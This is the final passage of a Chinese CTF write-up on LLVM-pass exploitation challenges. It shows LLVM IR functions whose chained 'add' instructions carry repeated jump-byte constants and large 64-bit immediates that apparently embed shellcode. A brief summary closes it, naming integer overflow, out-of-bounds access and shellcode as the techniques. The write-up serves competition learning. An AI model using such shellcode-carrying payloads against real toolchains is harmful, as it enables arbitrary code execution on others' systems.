  %18 = add nsw i64 %17, 43499
  %19 = add nsw i64 %18, 43499
  %20 = add nsw i64 %19, 43499
  %21 = add nsw i64 %20, 43499
  %22 = add nsw i64 %21, 43499
  %23 = add nsw i64 %22, 43499
  %24 = add nsw i64 %23, 43499
  %25 = add nsw i64 %24, 43499
  %26 = add nsw i64 %25, 43499
  %27 = add nsw i64 %26, 43499
  %28 = add nsw i64 %27, 43499
  %29 = add nsw i64 %28, 43499
  %30 = add nsw i64 %29, 43499
  %31 = add nsw i64 %30, 43499
  %32 = add nsw i64 %31, 43499
  %33 = add nsw i64 %32, 43499
  %34 = add nsw i64 %33, 43499
  %35 = add nsw i64 %34, 43499
  %36 = add nsw i64 %35, 43499
  %37 = add nsw i64 %36, 43499
  %38 = add nsw i64 %37, 43499
  %39 = add nsw i64 %38, 43499
  %40 = add nsw i64 %39, 43499
  %41 = add nsw i64 %40, 43499
  %42 = add nsw i64 %41, 43499
  %43 = add nsw i64 %42, 43499
  %44 = add nsw i64 %43, 43499
  %45 = add nsw i64 %44, 43499
  %46 = add nsw i64 %45, 43499
  %47 = add nsw i64 %46, 43499
  %48 = add nsw i64 %47, 43499
  %49 = add nsw i64 %48, 43499
  %50 = add nsw i64 %49, 43499
  %51 = add nsw i64 %50, 43499
  %52 = add nsw i64 %51, 43499
  %53 = add nsw i64 %52, 43499
  %54 = add nsw i64 %53, 43499
  %55 = add nsw i64 %54, 43499
  %56 = add nsw i64 %55, 43499
  %57 = add nsw i64 %56, 43499
  %58 = add nsw i64 %57, 43499
  %59 = add nsw i64 %58, 43499
  %60 = add nsw i64 %59, 43499
  %61 = add nsw i64 %60, 43499
  %62 = add nsw i64 %61, 43499
  %63 = add nsw i64 %62, 43499
  %64 = add nsw i64 %63, 43499
  %65 = add nsw i64 %64, 43499
  %66 = add nsw i64 %65, 43499
  %67 = add nsw i64 %66, 43499
  %68 = add nsw i64 %67, 43499
  %69 = add nsw i64 %68, 43499
  %70 = add nsw i64 %69, 43499
  %71 = add nsw i64 %70, 43499
  %72 = add nsw i64 %71, 43499
  %73 = add nsw i64 %72, 43499
  %74 = add nsw i64 %73, 43499
  %75 = add nsw i64 %74, 43499
  %76 = add nsw i64 %75, 43499
  %77 = add nsw i64 %76, 43499
  %78 = add nsw i64 %77, 43499
  %79 = add nsw i64 %78, 43499
  %80 = add nsw i64 %79, 43499
  %81 = add nsw i64 %80, 43499
  %82 = add nsw i64 %81, 43499
  %83 = add nsw i64 %82, 43499
  %84 = add nsw i64 %83, 43499
  %85 = add nsw i64 %84, 43499
  %86 = add nsw i64 %85, 43499
  %87 = add nsw i64 %86, 43499
  %88 = add nsw i64 %87, 43499
  %89 = add nsw i64 %88, 43499
  %90 = add nsw i64 %89, 43499
  %91 = add nsw i64 %90, 43499
  %92 = add nsw i64 %91, 43499
  %93 = add nsw i64 %92, 43499
  %94 = add nsw i64 %93, 43499
  %95 = add nsw i64 %94, 43499
  %96 = add nsw i64 %95, 43499
  %97 = add nsw i64 %96, 43499
  %98 = add nsw i64 %97, 43499
  %99 = add nsw i64 %98, 43499
  %100 = add nsw i64 %99, 43499
  %101 = add nsw i64 %100, 43499
  %102 = add nsw i64 %101, 43499
  %103 = add nsw i64 %102, 43499
  %104 = add nsw i64 %103, 43499
  %105 = add nsw i64 %104, 43499
  %106 = add nsw i64 %105, 43499
  %107 = add nsw i64 %106, 43499
  %108 = add nsw i64 %107, 43499
  %109 = add nsw i64 %108, 43499
  %110 = add nsw i64 %109, 43499
  %111 = add nsw i64 %110, 43499
  %112 = add nsw i64 %111, 43499
  %113 = add nsw i64 %112, 43499
  %114 = add nsw i64 %113, 43499
  %115 = add nsw i64 %114, 43499
  %116 = add nsw i64 %115, 43499
  %117 = add nsw i64 %116, 43499
  %118 = add nsw i64 %117, 43499
  %119 = add nsw i64 %118, 43499
  %120 = add nsw i64 %119, 43499
  %121 = add nsw i64 %120, 43499
  %122 = add nsw i64 %121, 43499
  %123 = add nsw i64 %122, 43499
  %124 = add nsw i64 %123, 43499
  %125 = add nsw i64 %124, 43499
  %126 = add nsw i64 %125, 43499
  %127 = add nsw i64 %126, 43499
  %128 = add nsw i64 %127, 43499
  %129 = add nsw i64 %128, 43499
  %130 = add nsw i64 %129, 43499
  %131 = add nsw i64 %130, 43499
  %132 = add nsw i64 %131, 43499
  %133 = add nsw i64 %132, 43499
  %134 = add nsw i64 %133, 43499
  %135 = add nsw i64 %134, 43499
  %136 = add nsw i64 %135, 43499
  %137 = add nsw i64 %136, 43499
  %138 = add nsw i64 %137, 43499
  %139 = add nsw i64 %138, 43499
  %140 = add nsw i64 %139, 43499
  %141 = add nsw i64 %140, 43499
  %142 = add nsw i64 %141, 43499
  %143 = add nsw i64 %142, 43499
  %144 = add nsw i64 %143, 43499
  %145 = add nsw i64 %144, 43499
  %146 = add nsw i64 %145, 43499
  %147 = add nsw i64 %146, 43499
  %148 = add nsw i64 %147, 43499
  %149 = add nsw i64 %148, 43499
  %150 = add nsw i64 %149, 43499
  %151 = add nsw i64 %150, 43499
  %152 = add nsw i64 %151, 43499
  %153 = add nsw i64 %152, 43499
  %154 = add nsw i64 %153, 43499
  %155 = add nsw i64 %154, 43499
  %156 = add nsw i64 %155, 43499
  %157 = add nsw i64 %156, 43499
  %158 = add nsw i64 %157, 43499
  %159 = add nsw i64 %158, 43499
  %160 = add nsw i64 %159, 43499
  %161 = add nsw i64 %160, 43499
  %162 = add nsw i64 %161, 43499
  %163 = add nsw i64 %162, 43499
  %164 = add nsw i64 %163, 43499
  %165 = add nsw i64 %164, 43499
  %166 = add nsw i64 %165, 43499
  %167 = add nsw i64 %166, 43499
  %168 = add nsw i64 %167, 43499
  %169 = add nsw i64 %168, 43499
  %170 = add nsw i64 %169, 43499
  %171 = add nsw i64 %170, 43499
  %172 = add nsw i64 %171, 43499
  %173 = add nsw i64 %172, 43499
  %174 = add nsw i64 %173, 43499
  %175 = add nsw i64 %174, 43499
  %176 = add nsw i64 %175, 43499
  %177 = add nsw i64 %176, 43499
  %178 = add nsw i64 %177, 43499
  %179 = add nsw i64 %178, 43499
  %180 = add nsw i64 %179, 43499
  %181 = add nsw i64 %180, 43499
  %182 = add nsw i64 %181, 43499
  %183 = add nsw i64 %182, 43499
  %184 = add nsw i64 %183, 43499
  %185 = add nsw i64 %184, 43499
  %186 = add nsw i64 %185, 43499
  %187 = add nsw i64 %186, 43499
  %188 = add nsw i64 %187, 43499
  %189 = add nsw i64 %188, 43499
  %190 = add nsw i64 %189, 43499
  %191 = add nsw i64 %190, 43499
  %192 = add nsw i64 %191, 43499
  %193 = add nsw i64 %192, 43499
  %194 = add nsw i64 %193, 43499
  %195 = add nsw i64 %194, 43499
  %196 = add nsw i64 %195, 43499
  %197 = add nsw i64 %196, 43499
  %198 = add nsw i64 %197, 43499
  %199 = add nsw i64 %198, 43499
  %200 = add nsw i64 %199, 43499
  %201 = add nsw i64 %200, 43499
  %202 = add nsw i64 %201, 43499
  %203 = add nsw i64 %202, 43499
  %204 = add nsw i64 %203, 43499
  %205 = add nsw i64 %204, 43499
  %206 = add nsw i64 %205, 43499
  %207 = add nsw i64 %206, 43499
  %208 = add nsw i64 %207, 43499
  %209 = add nsw i64 %208, 43499
  %210 = add nsw i64 %209, 43499
  %211 = add nsw i64 %210, 43499
  %212 = add nsw i64 %211, 43499
  %213 = add nsw i64 %212, 43499
  %214 = add nsw i64 %213, 43499
  %215 = add nsw i64 %214, 43499
  %216 = add nsw i64 %215, 43499
  %217 = add nsw i64 %216, 43499
  %218 = add nsw i64 %217, 43499
  %219 = add nsw i64 %218, 43499
  %220 = add nsw i64 %219, 43499
  %221 = add nsw i64 %220, 43499
  %222 = add nsw i64 %221, 43499
  %223 = add nsw i64 %222, 43499
  %224 = add nsw i64 %223, 43499
  %225 = add nsw i64 %224, 43499
  %226 = add nsw i64 %225, 43499
  %227 = add nsw i64 %226, 43499
  %228 = add nsw i64 %227, 43499
  %229 = add nsw i64 %228, 43499
  %230 = add nsw i64 %229, 43499
  %231 = add nsw i64 %230, 43499
  %232 = add nsw i64 %231, 43499
  %233 = add nsw i64 %232, 43499
  %234 = add nsw i64 %233, 43499
  %235 = add nsw i64 %234, 43499
  %236 = add nsw i64 %235, 43499
  %237 = add nsw i64 %236, 43499
  %238 = add nsw i64 %237, 43499
  %239 = add nsw i64 %238, 43499
  %240 = add nsw i64 %239, 43499
  %241 = add nsw i64 %240, 43499
  %242 = add nsw i64 %241, 43499
  %243 = add nsw i64 %242, 43499
  %244 = add nsw i64 %243, 43499
  %245 = add nsw i64 %244, 43499
  %246 = add nsw i64 %245, 43499
  %247 = add nsw i64 %246, 43499
  %248 = add nsw i64 %247, 43499
  %249 = add nsw i64 %248, 43499
  %250 = add nsw i64 %249, 43499
  %251 = add nsw i64 %250, 43499
  %252 = add nsw i64 %251, 43499
  %253 = add nsw i64 %252, 43499
  %254 = add nsw i64 %253, 43499
  %255 = add nsw i64 %254, 43499
  %256 = add nsw i64 %255, 43499
  %257 = add nsw i64 %256, 43499
  %258 = add nsw i64 %257, 43499
  %259 = add nsw i64 %258, 43499
  %260 = add nsw i64 %259, 43499
  %261 = add nsw i64 %260, 43499
  %262 = add nsw i64 %261, 43499
  %263 = add nsw i64 %262, 43499
  %264 = add nsw i64 %263, 43499
  %265 = add nsw i64 %264, 43499
  %266 = add nsw i64 %265, 43499
  %267 = add nsw i64 %266, 43499
  %268 = add nsw i64 %267, 43499
  %269 = add nsw i64 %268, 43499
  %270 = add nsw i64 %269, 43499
  %271 = add nsw i64 %270, 43499
  %272 = add nsw i64 %271, 43499
  %273 = add nsw i64 %272, 43499
  %274 = add nsw i64 %273, 43499
  %275 = add nsw i64 %274, 43499
  %276 = add nsw i64 %275, 43499
  %277 = add nsw i64 %276, 43499
  %278 = add nsw i64 %277, 43499
  %279 = add nsw i64 %278, 43499
  %280 = add nsw i64 %279, 43499
  %281 = add nsw i64 %280, 43499
  %282 = add nsw i64 %281, 43499
  %283 = add nsw i64 %282, 43499
  %284 = add nsw i64 %283, 43499
  %285 = add nsw i64 %284, 43499
  %286 = add nsw i64 %285, 43499
  %287 = add nsw i64 %286, 43499
  %288 = add nsw i64 %287, 43499
  %289 = add nsw i64 %288, 43499
  %290 = add nsw i64 %289, 43499
  %291 = add nsw i64 %290, 43499
  %292 = add nsw i64 %291, 43499
  %293 = add nsw i64 %292, 43499
  %294 = add nsw i64 %293, 43499
  %295 = add nsw i64 %294, 43499
  %296 = add nsw i64 %295, 43499
  %297 = add nsw i64 %296, 43499
  %298 = add nsw i64 %297, 43499
  %299 = add nsw i64 %298, 43499
  %300 = add nsw i64 %299, 43499
  %301 = add nsw i64 %300, 43499
  %302 = add nsw i64 %301, 43499
  %303 = add nsw i64 %302, 43499
  %304 = add nsw i64 %303, 43499
  %305 = add nsw i64 %304, 43499
  %306 = add nsw i64 %305, 43499
  %307 = add nsw i64 %306, 43499
  %308 = add nsw i64 %307, 43499
  %309 = add nsw i64 %308, 43499
  %310 = add nsw i64 %309, 43499
  %311 = add nsw i64 %310, 43499
  %312 = add nsw i64 %311, 43499
  %313 = add nsw i64 %312, 43499
  %314 = add nsw i64 %313, 43499
  %315 = add nsw i64 %314, 1
  %316 = add nsw i64 %315, 1
  %317 = add nsw i64 %316, 1
  %318 = add nsw i64 %317, 1

  ret i64 %318
}

define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 16999839549866848191
  %3 = add nsw i64 %2, 16999840167141818696
  %4 = add nsw i64 %3, 16999840022328913854
  %5 = add nsw i64 %4, 16999840169021866312
  %6 = add nsw i64 %5, 16999840169015152727
  %7 = add nsw i64 %6, 16999840169020852552
  %8 = add nsw i64 %7, 16999840169021813064
  %9 = add nsw i64 %8, 16999840169019453768
  %10 = add nsw i64 %9, 16999839548114484152
  %11 = add nsw i64 %10, 16999840169015117071
  %12 = add nsw i64 %11, 43499
  %13 = add nsw i64 %12, 43499
  %14 = add nsw i64 %13, 43499
  %15 = add nsw i64 %14, 43499
  %16 = add nsw i64 %15, 43499
  %17 = add nsw i64 %16, 43499
  %18 = add nsw i64 %17, 43499
  %19 = add nsw i64 %18, 43499
  %20 = add nsw i64 %19, 43499
  %21 = add nsw i64 %20, 43499
  %22 = add nsw i64 %21, 43499
  %23 = add nsw i64 %22, 43499
  %24 = add nsw i64 %23, 43499
  %25 = add nsw i64 %24, 43499
  %26 = add nsw i64 %25, 43499
  %27 = add nsw i64 %26, 43499
  %28 = add nsw i64 %27, 43499
  %29 = add nsw i64 %28, 43499
  %30 = add nsw i64 %29, 43499
  %31 = add nsw i64 %30, 43499
  %32 = add nsw i64 %31, 43499
  %33 = add nsw i64 %32, 43499
  %34 = add nsw i64 %33, 43499
  %35 = add nsw i64 %34, 43499
  %36 = add nsw i64 %35, 43499
  %37 = add nsw i64 %36, 43499
  %38 = add nsw i64 %37, 43499
  %39 = add nsw i64 %38, 43499
  %40 = add nsw i64 %39, 43499
  %41 = add nsw i64 %40, 43499
  %42 = add nsw i64 %41, 43499
  %43 = add nsw i64 %42, 43499
  %44 = add nsw i64 %43, 43499
  %45 = add nsw i64 %44, 43499
  %46 = add nsw i64 %45, 43499
  %47 = add nsw i64 %46, 43499
  %48 = add nsw i64 %47, 43499
  %49 = add nsw i64 %48, 43499
  %50 = add nsw i64 %49, 43499
  %51 = add nsw i64 %50, 43499
  %52 = add nsw i64 %51, 43499
  %53 = add nsw i64 %52, 43499
  %54 = add nsw i64 %53, 43499
  %55 = add nsw i64 %54, 43499
  %56 = add nsw i64 %55, 43499
  %57 = add nsw i64 %56, 43499
  %58 = add nsw i64 %57, 43499
  %59 = add nsw i64 %58, 43499
  %60 = add nsw i64 %59, 43499
  %61 = add nsw i64 %60, 43499
  %62 = add nsw i64 %61, 43499
  %63 = add nsw i64 %62, 43499
  %64 = add nsw i64 %63, 43499
  %65 = add nsw i64 %64, 43499
  %66 = add nsw i64 %65, 43499
  %67 = add nsw i64 %66, 43499
  %68 = add nsw i64 %67, 43499
  %69 = add nsw i64 %68, 43499
  %70 = add nsw i64 %69, 43499
  %71 = add nsw i64 %70, 43499
  %72 = add nsw i64 %71, 43499
  %73 = add nsw i64 %72, 43499
  %74 = add nsw i64 %73, 43499
  %75 = add nsw i64 %74, 43499
  %76 = add nsw i64 %75, 43499
  %77 = add nsw i64 %76, 43499
  %78 = add nsw i64 %77, 43499
  %79 = add nsw i64 %78, 43499
  %80 = add nsw i64 %79, 43499
  %81 = add nsw i64 %80, 43499
  %82 = add nsw i64 %81, 43499
  %83 = add nsw i64 %82, 43499
  %84 = add nsw i64 %83, 43499
  %85 = add nsw i64 %84, 43499
  %86 = add nsw i64 %85, 43499
  %87 = add nsw i64 %86, 43499
  %88 = add nsw i64 %87, 43499
  %89 = add nsw i64 %88, 43499
  %90 = add nsw i64 %89, 43499
  %91 = add nsw i64 %90, 43499
  %92 = add nsw i64 %91, 43499
  %93 = add nsw i64 %92, 43499
  %94 = add nsw i64 %93, 43499
  %95 = add nsw i64 %94, 43499
  %96 = add nsw i64 %95, 43499
  %97 = add nsw i64 %96, 43499
  %98 = add nsw i64 %97, 43499
  %99 = add nsw i64 %98, 43499
  %100 = add nsw i64 %99, 43499
  %101 = add nsw i64 %100, 43499
  %102 = add nsw i64 %101, 43499
  %103 = add nsw i64 %102, 43499
  %104 = add nsw i64 %103, 43499
  %105 = add nsw i64 %104, 43499
  %106 = add nsw i64 %105, 43499
  %107 = add nsw i64 %106, 43499
  %108 = add nsw i64 %107, 43499
  %109 = add nsw i64 %108, 43499
  %110 = add nsw i64 %109, 43499
  %111 = add nsw i64 %110, 43499
  %112 = add nsw i64 %111, 43499
  %113 = add nsw i64 %112, 43499
  %114 = add nsw i64 %113, 43499
  %115 = add nsw i64 %114, 43499
  %116 = add nsw i64 %115, 43499
  %117 = add nsw i64 %116, 43499
  %118 = add nsw i64 %117, 43499
  %119 = add nsw i64 %118, 43499
  %120 = add nsw i64 %119, 43499
  %121 = add nsw i64 %120, 43499
  %122 = add nsw i64 %121, 43499
  %123 = add nsw i64 %122, 43499
  %124 = add nsw i64 %123, 43499
  %125 = add nsw i64 %124, 43499
  %126 = add nsw i64 %125, 43499
  %127 = add nsw i64 %126, 43499
  %128 = add nsw i64 %127, 43499
  %129 = add nsw i64 %128, 43499
  %130 = add nsw i64 %129, 43499
  %131 = add nsw i64 %130, 43499
  %132 = add nsw i64 %131, 43499
  %133 = add nsw i64 %132, 43499
  %134 = add nsw i64 %133, 43499
  %135 = add nsw i64 %134, 43499
  %136 = add nsw i64 %135, 43499
  %137 = add nsw i64 %136, 43499
  %138 = add nsw i64 %137, 43499
  %139 = add nsw i64 %138, 43499
  %140 = add nsw i64 %139, 43499
  %141 = add nsw i64 %140, 43499
  %142 = add nsw i64 %141, 43499
  %143 = add nsw i64 %142, 43499
  %144 = add nsw i64 %143, 43499
  %145 = add nsw i64 %144, 43499
  %146 = add nsw i64 %145, 43499
  %147 = add nsw i64 %146, 43499
  %148 = add nsw i64 %147, 43499
  %149 = add nsw i64 %148, 43499
  %150 = add nsw i64 %149, 43499
  %151 = add nsw i64 %150, 43499
  %152 = add nsw i64 %151, 43499
  %153 = add nsw i64 %152, 43499
  %154 = add nsw i64 %153, 43499
  %155 = add nsw i64 %154, 43499
  %156 = add nsw i64 %155, 43499
  %157 = add nsw i64 %156, 43499
  %158 = add nsw i64 %157, 43499
  %159 = add nsw i64 %158, 43499
  %160 = add nsw i64 %159, 43499
  %161 = add nsw i64 %160, 43499
  %162 = add nsw i64 %161, 43499
  %163 = add nsw i64 %162, 43499
  %164 = add nsw i64 %163, 43499
  %165 = add nsw i64 %164, 43499
  %166 = add nsw i64 %165, 43499
  %167 = add nsw i64 %166, 43499
  %168 = add nsw i64 %167, 43499
  %169 = add nsw i64 %168, 43499
  %170 = add nsw i64 %169, 43499
  %171 = add nsw i64 %170, 43499
  %172 = add nsw i64 %171, 43499
  %173 = add nsw i64 %172, 43499
  %174 = add nsw i64 %173, 43499
  %175 = add nsw i64 %174, 43499
  %176 = add nsw i64 %175, 43499
  %177 = add nsw i64 %176, 43499
  %178 = add nsw i64 %177, 43499
  %179 = add nsw i64 %178, 43499
  %180 = add nsw i64 %179, 43499
  %181 = add nsw i64 %180, 43499
  %182 = add nsw i64 %181, 43499
  %183 = add nsw i64 %182, 43499
  %184 = add nsw i64 %183, 43499
  %185 = add nsw i64 %184, 43499
  %186 = add nsw i64 %185, 43499
  %187 = add nsw i64 %186, 43499
  %188 = add nsw i64 %187, 43499
  %189 = add nsw i64 %188, 43499
  %190 = add nsw i64 %189, 43499
  %191 = add nsw i64 %190, 43499
  %192 = add nsw i64 %191, 43499
  %193 = add nsw i64 %192, 43499
  %194 = add nsw i64 %193, 43499
  %195 = add nsw i64 %194, 43499
  %196 = add nsw i64 %195, 43499
  %197 = add nsw i64 %196, 43499
  %198 = add nsw i64 %197, 43499
  %199 = add nsw i64 %198, 43499
  %200 = add nsw i64 %199, 43499
  %201 = add nsw i64 %200, 43499
  %202 = add nsw i64 %201, 43499
  %203 = add nsw i64 %202, 43499
  %204 = add nsw i64 %203, 43499
  %205 = add nsw i64 %204, 43499
  %206 = add nsw i64 %205, 43499
  %207 = add nsw i64 %206, 43499
  %208 = add nsw i64 %207, 43499
  %209 = add nsw i64 %208, 43499
  %210 = add nsw i64 %209, 43499
  %211 = add nsw i64 %210, 43499
  %212 = add nsw i64 %211, 43499
  %213 = add nsw i64 %212, 43499
  %214 = add nsw i64 %213, 43499
  %215 = add nsw i64 %214, 43499
  %216 = add nsw i64 %215, 43499
  %217 = add nsw i64 %216, 43499
  %218 = add nsw i64 %217, 43499
  %219 = add nsw i64 %218, 43499
  %220 = add nsw i64 %219, 43499
  %221 = add nsw i64 %220, 43499
  %222 = add nsw i64 %221, 43499
  %223 = add nsw i64 %222, 43499
  %224 = add nsw i64 %223, 43499
  %225 = add nsw i64 %224, 43499
  %226 = add nsw i64 %225, 43499
  %227 = add nsw i64 %226, 43499
  %228 = add nsw i64 %227, 43499
  %229 = add nsw i64 %228, 43499
  %230 = add nsw i64 %229, 43499
  %231 = add nsw i64 %230, 43499
  %232 = add nsw i64 %231, 43499
  %233 = add nsw i64 %232, 43499
  %234 = add nsw i64 %233, 43499
  %235 = add nsw i64 %234, 43499
  %236 = add nsw i64 %235, 43499
  %237 = add nsw i64 %236, 43499
  %238 = add nsw i64 %237, 43499
  %239 = add nsw i64 %238, 43499
  %240 = add nsw i64 %239, 43499
  %241 = add nsw i64 %240, 43499
  %242 = add nsw i64 %241, 43499
  %243 = add nsw i64 %242, 43499
  %244 = add nsw i64 %243, 43499
  %245 = add nsw i64 %244, 43499
  %246 = add nsw i64 %245, 43499
  %247 = add nsw i64 %246, 43499
  %248 = add nsw i64 %247, 43499
  %249 = add nsw i64 %248, 43499
  %250 = add nsw i64 %249, 43499
  %251 = add nsw i64 %250, 43499
  %252 = add nsw i64 %251, 43499
  %253 = add nsw i64 %252, 43499
  %254 = add nsw i64 %253, 43499
  %255 = add nsw i64 %254, 43499
  %256 = add nsw i64 %255, 43499
  %257 = add nsw i64 %256, 43499
  %258 = add nsw i64 %257, 43499
  %259 = add nsw i64 %258, 43499
  %260 = add nsw i64 %259, 43499
  %261 = add nsw i64 %260, 43499
  %262 = add nsw i64 %261, 43499
  %263 = add nsw i64 %262, 43499
  %264 = add nsw i64 %263, 43499
  %265 = add nsw i64 %264, 43499
  %266 = add nsw i64 %265, 43499
  %267 = add nsw i64 %266, 43499
  %268 = add nsw i64 %267, 43499
  %269 = add nsw i64 %268, 43499
  %270 = add nsw i64 %269, 43499
  %271 = add nsw i64 %270, 43499
  %272 = add nsw i64 %271, 43499
  %273 = add nsw i64 %272, 43499
  %274 = add nsw i64 %273, 43499
  %275 = add nsw i64 %274, 43499
  %276 = add nsw i64 %275, 43499
  %277 = add nsw i64 %276, 43499
  %278 = add nsw i64 %277, 43499
  %279 = add nsw i64 %278, 43499
  %280 = add nsw i64 %279, 43499
  %281 = add nsw i64 %280, 43499
  %282 = add nsw i64 %281, 43499
  %283 = add nsw i64 %282, 43499
  %284 = add nsw i64 %283, 43499
  %285 = add nsw i64 %284, 43499
  %286 = add nsw i64 %285, 43499
  %287 = add nsw i64 %286, 43499
  %288 = add nsw i64 %287, 43499
  %289 = add nsw i64 %288, 43499
  %290 = add nsw i64 %289, 43499
  %291 = add nsw i64 %290, 43499
  %292 = add nsw i64 %291, 43499
  %293 = add nsw i64 %292, 43499
  %294 = add nsw i64 %293, 43499
  %295 = add nsw i64 %294, 43499
  %296 = add nsw i64 %295, 43499
  %297 = add nsw i64 %296, 43499
  %298 = add nsw i64 %297, 43499
  %299 = add nsw i64 %298, 43499
  %300 = add nsw i64 %299, 43499
  %301 = add nsw i64 %300, 43499
  %302 = add nsw i64 %301, 43499
  %303 = add nsw i64 %302, 43499
  %304 = add nsw i64 %303, 43499
  %305 = add nsw i64 %304, 43499
  %306 = add nsw i64 %305, 43499
  %307 = add nsw i64 %306, 43499
  %308 = add nsw i64 %307, 43499
  %309 = add nsw i64 %308, 43499
  %310 = add nsw i64 %309, 43499
  %311 = add nsw i64 %310, 43499
  %312 = add nsw i64 %311, 43499
  %313 = add nsw i64 %312, 1
  %314 = add nsw i64 %313, 1
  %315 = add nsw i64 %314, 1
  %316 = add nsw i64 %315, 1
  %317 = add nsw i64 %316, 1
  %318 = add nsw i64 %317, 1
  %319 = add nsw i64 %318, 1
  %320 = add nsw i64 %319, 1
  %321 = add nsw i64 %320, 1

  ret i64 %321
}

# 总结

作为一种比较新的 pwn 题类型,可以发现其实只是把攻击换了一个形式,同样是整数溢出、数组越界、shellcode,套上 llvm 的皮后确实也难倒了我,通过这几道题,学习到了 llvm 的一些知识,层层解析后貌似也没那么难。最后,针对 qwb 题目而言,这么多函数居然一个没用上,有点意外(逃。

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。